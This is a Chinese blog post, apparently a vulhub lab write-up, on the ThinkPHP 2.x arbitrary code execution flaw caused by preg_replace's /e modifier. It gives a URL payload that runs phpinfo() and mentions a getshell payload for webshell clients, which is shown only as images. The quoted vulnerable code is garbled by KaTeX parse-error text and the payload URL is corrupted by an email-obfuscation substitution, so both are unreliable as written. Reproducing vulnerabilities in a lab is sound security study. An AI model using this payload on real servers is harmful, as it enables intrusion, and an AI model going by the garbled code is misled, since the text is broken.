天天看點

ThinkPHP 2.x 任意代碼執行漏洞

ThinkPHP 2.x 任意代碼執行漏洞

    • 漏洞描述
    • 環境搭建
    • 漏洞複現
    • 參考連結

漏洞描述

ThinkPHP 2.x版本中,使用preg_replace的/e模式比對路由:

KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode( d e p r , depr, depr,paths));

導緻使用者的輸入參數被插入雙引号中執行,造成任意代碼執行漏洞。

ThinkPHP 3.0版本因為Lite模式下沒有修複該漏洞,也存在這個漏洞。

環境搭建

搭建連結:https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce

ThinkPHP 2.x 任意代碼執行漏洞

漏洞複現

1、使用payload 直接通路,即可執行phpinfo():

http://your-ip:8080/index.php?s=/index/index/name/$%[email protected]()%7D
           
ThinkPHP 2.x 任意代碼執行漏洞

2、利用該漏洞getshell,下面給出一個能夠直接蟻劍(菜刀)連接配接的payload:

ThinkPHP 2.x 任意代碼執行漏洞
ThinkPHP 2.x 任意代碼執行漏洞

參考連結

https://www.freebuf.com/column/223149.html

繼續閱讀